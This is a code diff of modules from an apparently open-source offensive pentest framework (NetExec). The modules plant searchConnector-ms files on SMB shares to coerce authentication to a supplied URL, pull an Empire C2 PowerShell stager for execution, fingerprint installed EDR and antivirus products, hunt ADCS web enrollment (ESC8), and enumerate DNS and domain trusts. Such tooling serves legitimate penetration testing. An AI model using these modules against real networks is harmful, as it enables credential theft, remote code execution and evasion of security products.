scfile.write("</searchConnectorDescription>")
scfile.close()
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
scfile.write("<templateInfo>")
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
scfile.write(f"<url>{self.url}</url>")
scfile.write("</simpleLocation>")
scfile.write("</searchConnectorDescription>")
def on_login(self, context, connection):
shares = connection.shares()
@@ -74,13 +70,12 @@ class NXCModule:
with open(self.scfile_path, "rb") as scfile:
try:
connection.conn.putFile(share["name"], self.file_path, scfile.read)
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms file on the {share['name']} share")
except Exception as e:
context.log.exception(e)
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file on the {share['name']} share: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the {share['name']} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on share {share['name']}: {e}")
+3 -13
View File
@@ -1,15 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import requests
from requests import ConnectionError
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class NXCModule:
"""
@@ -38,7 +30,7 @@ class NXCModule:
api_proto = "https" if "SSL" in module_options else "http"
obfuscate = True if "OBFUSCATE" in module_options else False
obfuscate = "OBFUSCATE" in module_options
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
@@ -100,7 +92,7 @@ class NXCModule:
verify=False,
)
except ConnectionError:
context.log.fail(f"Unable to request stager from Empire's RESTful API")
context.log.fail("Unable to request stager from Empire's RESTful API")
sys.exit(1)
if stager_response.status_code not in [200, 201]:
@@ -111,7 +103,6 @@ class NXCModule:
sys.exit(1)
context.log.debug(f"Response Code: {stager_response.status_code}")
# context.log.debug(f"Response Content: {stager_response.text}")
stager_create_data = stager_response.json()
context.log.debug(f"Stager data: {stager_create_data}")
@@ -123,14 +114,13 @@ class NXCModule:
verify=False,
)
context.log.debug(f"Response Code: {download_response.status_code}")
# context.log.debug(f"Response Content: {download_response.text}")
self.empire_launcher = download_response.text
if download_response.status_code == 200:
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
else:
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
context.log.fail("Something went wrong when retrieving stager Powershell command")
def on_admin_login(self, context, connection):
if self.empire_launcher:
+172 -344
View File
@@ -1,12 +1,11 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# All credit to @an0n_r0
# project : https://github.com/tothi/serviceDetector
# https://github.com/tothi/serviceDetector
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -27,82 +26,83 @@ class NXCModule:
self.module_options = module_options
def options(self, context, module_options):
""" """
pass
"""
"""
def on_login(self, context, connection):
success = 0
target = self._get_target(connection)
context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...")
results = self._detect_installed_services(context, connection, target)
self.detect_running_processes(context, connection, results)
self.dump_results(results, context)
def _get_target(self, connection):
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
def _detect_installed_services(self, context, connection, target):
results = {}
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target))
try:
lsa = LsaLookupNames(
connection.domain,
connection.username,
connection.password,
target,
connection.kerberos,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, rpctransport = lsa.connect()
policyHandle = lsa.open_policy(dce)
for i, product in enumerate(conf["products"]):
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
try:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
if product["name"] not in results:
results[product["name"]] = {"services": []}
results[product["name"]]["services"].append(service)
except Exception as e:
results.setdefault(product["name"], {"services": []})["services"].append(service)
except Exception:
pass
success += 1
except Exception as e:
context.log.fail(str(e))
return results
def detect_running_processes(self, context, connection, results):
context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...")
try:
for f in connection.conn.listPath("IPC$", "\\*"):
fl = f.get_longname()
for i, product in enumerate(conf["products"]):
for product in conf["products"]:
for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]):
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
if product["name"] not in results:
results[product["name"]] = {}
if "pipes" not in results[product["name"]]:
results[product["name"]]["pipes"] = []
results[product["name"]]["pipes"].append(pipe)
success += 1
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
context.log.debug(str(e))
if "STATUS_ACCESS_DENIED" in str(e):
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
else:
context.log.fail(str(e))
self.dump_results(results, connection.hostname, success, context)
def dump_results(self, results, context):
if not results:
context.log.highlight("Found NOTHING!")
return
def dump_results(self, results, remoteName, success, context):
# out1 = "On host {} found".format(remoteName)
out1 = ""
for item in results:
out = out1
if "services" in results[item]:
out += f"{item} INSTALLED"
if "pipes" in results[item]:
out += " and it seems to be RUNNING"
# else:
# for product in conf['products']:
# if (item == product['name']) and (len(product['pipes']) == 0):
# out += " (NamedPipe for this service was not provided in config)"
elif "pipes" in results[item]:
out += f" {item} RUNNING"
context.log.highlight(out)
if (len(results) < 1) and (success > 1):
out = out1 + " NOTHING!"
context.log.highlight(out)
for item, data in results.items():
message = f"Found {item}"
if "services" in data:
message += " INSTALLED"
if "pipes" in data:
message += " and RUNNING"
elif "pipes" in data:
message += " RUNNING"
context.log.highlight(message)
class LsaLookupNames:
@@ -121,7 +121,8 @@ class LsaLookupNames:
username="",
password="",
remote_name="",
k=False,
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -132,11 +133,12 @@ class LsaLookupNames:
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = k
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.dcHost = kdcHost
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,9 +148,10 @@ class LsaLookupNames:
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplemented("String binding must be defined")
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -160,14 +163,13 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
@@ -197,81 +199,65 @@ class LsaLookupNames:
request["PolicyHandle"] = policyHandle
request["Count"] = 1
name1 = RPC_UNICODE_STRING()
name1["Data"] = "NT Service\{}".format(service)
name1["Data"] = f"NT Service\\{service}"
request["Names"].append(name1)
request["TranslatedSids"]["Sids"] = NULL
request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
resp = dce.request(request)
return resp
return dce.request(request)
conf = {
"products": [
{
"name": "Acronis Cyber Protect Active Protection",
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Bitdefender",
"services": [
{
"name": "bdredline_agent",
"description": "Bitdefender Agent RedLine Service",
},
{"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"},
{"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
{
"name": "UPDATESRV",
"description": "Bitdefender Desktop Update Service",
},
{"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"},
{"name": "VSSERV", "description": "Bitdefender Virus Shield"},
{"name": "bdredline", "description": "Bitdefender RedLine Service"},
{"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"},
{"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"},
{"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"},
{"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"},
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"},
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}
],
"pipes": [
{
"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe",
"processes": ["EPConsole.exe"],
},
{
"name": "etw_sensor_pipe_ppl",
"processes": ["EPProtectedService.exe"],
},
{
"name": "local\\msgbus\\antitracker.low\\*",
"processes": ["bdagent.exe"],
},
{
"name": "local\\msgbus\\aspam.actions.low\\*",
"processes": ["bdagent.exe"],
},
{
"name": "local\\msgbus\\bd.process.broker.pipe",
"processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
},
{"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]},
{"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]},
{"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]},
{"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]},
{"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]},
{"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
{
"name": "local\\msgbus\\bdauxsrv",
"processes": ["bdagent.exe", "bdntwrk.exe"],
},
],
{"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]}
]
},
{
"name": "Windows Defender",
"name": "Carbon Black App Control",
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cybereason",
"services": [
{
"name": "WinDefend",
"description": "Windows Defender Antivirus Service",
},
{
"name": "Sense",
"description": "Windows Defender Advanced Threat Protection Service",
},
{
"name": "WdNisSvc",
"description": "Windows Defender Antivirus Network Inspection Service",
},
{"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"},
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
{"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"}
],
"pipes": [],
"pipes": [
{"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]},
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "ESET",
@@ -280,274 +266,116 @@ conf = {
{"name": "epfw", "description": "ESET"},
{"name": "epfwlwf", "description": "ESET"},
{"name": "epfwwfp", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
{"name": "ERAAgent", "description": "ESET Management Agent service"},
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "CrowdStrike",
"name": "G DATA Security Client",
"services": [
{
"name": "CSFalconService",
"description": "CrowdStrike Falcon Sensor Service",
}
{"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"},
{"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"},
{"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"}
],
"pipes": [
{
"name": "CrowdStrike\\{*",
"processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
}
],
},
{
"name": "SentinelOne",
"services": [
{
"name": "SentinelAgent",
"description": "SentinelOne Endpoint Protection Agent",
},
{
"name": "SentinelStaticEngine",
"description": "Manage static engines for SentinelOne Endpoint Protection",
},
{
"name": "LogProcessorService",
"description": "Manage logs for SentinelOne Endpoint Protection",
},
],
"pipes": [
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
],
},
{
"name": "Carbon Black App Control",
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": [],
},
{
"name": "Cybereason",
"services": [
{
"name": "CybereasonActiveProbe",
"description": "Cybereason Active Probe",
},
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
{
"name": "CybereasonBlocki",
"description": "Cybereason Execution Prevention",
},
],
"pipes": [
{
"name": "CybereasonAPConsoleMinionHostIpc_*",
"processes": ["minionhost.exe"],
},
{
"name": "CybereasonAPServerProxyIpc_*",
"processes": ["minionhost.exe"],
},
],
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
]
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
{
"name": "kavfsslp",
"description": "Kaspersky Security Exploit Prevention Service",
},
{
"name": "KAVFS",
"description": "Kaspersky Security Service",
},
{
"name": "KAVFSGT",
"description": "Kaspersky Security Management Service",
},
{
"name": "klnagent",
"description": "Kaspersky Security Center",
},
{"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"},
{"name": "KAVFS", "description": "Kaspersky Security Service"},
{"name": "KAVFSGT", "description": "Kaspersky Security Management Service"},
{"name": "klnagent", "description": "Kaspersky Security Center"}
],
"pipes": [
{
"name": "Exploit_Blocker",
"processes": ["kavfswh.exe"],
},
],
},
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"name": "Panda Adaptive Defense 360",
"services": [
{
"name": "Trend Micro Endpoint Basecamp",
"description": "Trend Micro Endpoint Basecamp",
},
{
"name": "TMBMServer",
"description": "Trend Micro Unauthorized Change Prevention Service",
},
{
"name": "Trend Micro Web Service Communicator",
"description": "Trend Micro Web Service Communicator",
},
{
"name": "TMiACAgentSvc",
"description": "Trend Micro Application Control Service (Agent)",
},
{
"name": "CETASvc",
"description": "Trend Micro Cloud Endpoint Telemetry Service",
},
{
"name": "iVPAgent",
"description": "Trend Micro Vulnerability Protection Service (Agent)",
}
{"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"},
{"name": "PSUAService", "description": "Panda Product Service"},
{"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"}
],
"pipes": [
{
"name": "IPC_XBC_XBC_AGENT_PIPE_*",
"processes": ["EndpointBasecamp.exe"],
},
{
"name": "iacagent_*",
"processes": ["TMiACAgentSvc.exe"],
},
{
"name": "OIPC_LWCS_PIPE_*",
"processes": ["TmListen.exe"],
},
{
"name": "Log_ServerNamePipe",
"processes": ["LogServer.exe"],
},
{
"name": "OIPC_NTRTSCAN_PIPE_*",
"processes": ["Ntrtscan.exe"],
},
{"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]},
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
]
},
{
"name": "SentinelOne",
"services": [
{"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"},
{"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"},
{"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"}
],
},
"pipes": [
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{
"name": "SepMasterService",
"description": "Symantec Endpoint Protection",
},
{
"name": "SepScanService",
"description": "Symantec Endpoint Protection Scan Services",
},
{"name": "SNAC", "description": "Symantec Network Access Control"},
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": [],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
{
"name": "SntpService",
"description": "Sophos Network Threat Protection"
},
{
"name": "Sophos Endpoint Defense Service",
"description": "Sophos Endpoint Defense Service"
},
{
"name": "Sophos File Scanner Service",
"description": "Sophos File Scanner Service"
},
{
"name": "Sophos Health Service",
"description": "Sophos Health Service"
},
{
"name": "Sophos Live Query",
"description": "Sophos Live Query"
},
{
"name": "Sophos Managed Threat Response",
"description": "Sophos Managed Threat Response"
},
{
"name": "Sophos MCS Agent",
"description": "Sophos MCS Agent"
},
{
"name": "Sophos MCS Client",
"description": "Sophos MCS Client"
},
{
"name": "Sophos System Protection Service",
"description": "Sophos System Protection Service"
}
{"name": "SntpService", "description": "Sophos Network Threat Protection"},
{"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"},
{"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"},
{"name": "Sophos Health Service", "description": "Sophos Health Service"},
{"name": "Sophos Live Query", "description": "Sophos Live Query"},
{"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"},
{"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"},
{"name": "Sophos MCS Client", "description": "Sophos MCS Client"},
{"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"}
],
"pipes": [
{"name": "SophosUI", "processes": [""]},
{"name": "SophosEventStore", "processes": [""]},
{"name": "sophos_deviceencryption", "processes": [""]},
{"name": "sophoslivequery_*", "processes": [""]},
],
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "G DATA Security Client",
"name": "Trend Micro Endpoint Security",
"services": [
{
"name": "AVKWCtl",
"description": "Anti-virus Kit Window Control",
},
{
"name": "AVKProxy",
"description": "G Data AntiVirus Proxy Service"
},
{
"name": "GDScan",
"description": "GDSG Data AntiVirus Scan Service",
},
{"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"},
{"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"},
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
],
"pipes": [
{
"name": "exploitProtectionIPC",
"processes": ["AVKWCtlx64.exe"],
},
],
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
{"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]},
{"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]},
{"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]},
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"name": "Windows Defender",
"services": [
{
"name": "PandaAetherAgent",
"description": "Panda Endpoint Agent",
},
{
"name": "PSUAService",
"description": "Panda Product Service"
},
{
"name": "NanoServiceMain",
"description": "Panda Cloud Antivirus Service",
},
],
"pipes": [
{
"name": "NNS_API_IPC_SRV_ENDPOINT",
"processes": ["PSANHost.exe"],
},
{
"name": "PSANMSrvcPpal",
"processes": ["PSUAService.exe"],
},
{"name": "WinDefend", "description": "Windows Defender Antivirus Service"},
{"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"},
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
}
]
}
+109
View File
@@ -0,0 +1,109 @@
from impacket.dcerpc.v5 import transport, epm
from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
class NXCModule:
"""
-------
Module by @0xjbb, original code from Impacket rpcdump.py
"""
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
593: {"bindstr": r"ncacn_http:%s"}
}
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.__username = connection.username
self.__password = connection.password
self.__domain = connection.domain
self.__lmhash = ""
self.__nthash = ""
self.__port = 135.
self.__stringbinding = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
if self.__port in [139, 445]:
# Setting credentials for SMB
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port in [443]:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
RPC_PROXY_CONN_A1_404_ERR in error_text or \
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug("EXEs %s" % exename)
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
context.log.highlight(url)
try:
response = requests.get(url, timeout=5)
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
context.log.highlight("Web enrollment found on HTTP (ESC8).")
except requests.RequestException as e:
context.log.debug(e)
return
def __fetchList(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
+5 -13
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from datetime import datetime
from nxc.helpers.logger import write_log
@@ -23,9 +20,7 @@ class NXCModule:
self.domains = None
def options(self, context, module_options):
"""
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
"""
"""DOMAIN Domain to enumerate DNS for. Defaults to all zones."""
self.domains = None
if module_options and "DOMAIN" in module_options:
self.domains = module_options["DOMAIN"]
@@ -34,15 +29,12 @@ class NXCModule:
if not self.domains:
domains = []
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
if output:
for result in output:
domains.append(result["Name"]["value"])
context.log.success("Domains retrieved: {}".format(domains))
domains = [result["Name"]["value"] for result in output] if output else []
context.log.success(f"Domains retrieved: {domains}")
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
@@ -70,6 +62,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = "DNS-Enum-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+86
View File
@@ -0,0 +1,86 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class NXCModule:
"""
Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
Module by Brandon Fisher @shad0wcntr0ller
"""
name = "enum_trusts"
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
pass
def on_login(self, context, connection):
search_filter = "(&(objectClass=trustedDomain))"
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
flat_name = ""
trust_partner = ""
trust_direction = ""
trust_transitive = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "flatName":
flat_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustPartner":
trust_partner = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustDirection":
if str(attribute["vals"][0]) == "1":
trust_direction = "Inbound"
elif str(attribute["vals"][0]) == "2":
trust_direction = "Outbound"
elif str(attribute["vals"][0]) == "3":
trust_direction = "Bidirectional"
elif str(attribute["type"]) == "trustAttributes":
trust_attributes_value = int(attribute["vals"][0])
if trust_attributes_value & 0x1:
trust_transitive.append("Non-Transitive")
if trust_attributes_value & 0x2:
trust_transitive.append("Uplevel-Only")
if trust_attributes_value & 0x4:
trust_transitive.append("Quarantined Domain")
if trust_attributes_value & 0x8:
trust_transitive.append("Forest Transitive")
if trust_attributes_value & 0x10:
trust_transitive.append("Cross Organization")
if trust_attributes_value & 0x20:
trust_transitive.append("Within Forest")
if trust_attributes_value & 0x40:
trust_transitive.append("Treat as External")
if trust_attributes_value & 0x80:
trust_transitive.append("Uses RC4 Encryption")
if trust_attributes_value & 0x100:
trust_transitive.append("Cross Organization No TGT Delegation")
if trust_attributes_value & 0x2000:
trust_transitive.append("PAM Trust")
if not trust_transitive:
trust_transitive.append("Other")
trust_transitive = ", ".join(trust_transitive)
if flat_name and trust_partner and trust_direction and trust_transitive:
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
except Exception as e:
context.log.debug(f"Cannot process trust relationship due to error {e}")
if trusts:
context.log.success("Found the following trust relationships:")
for trust in trusts:
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
else:
context.log.display("No trust relationships found")
return True
+15 -22
View File
@@ -1,28 +1,25 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
"""
Example
Example:
-------
Module by @yomama
"""
name = "example module"
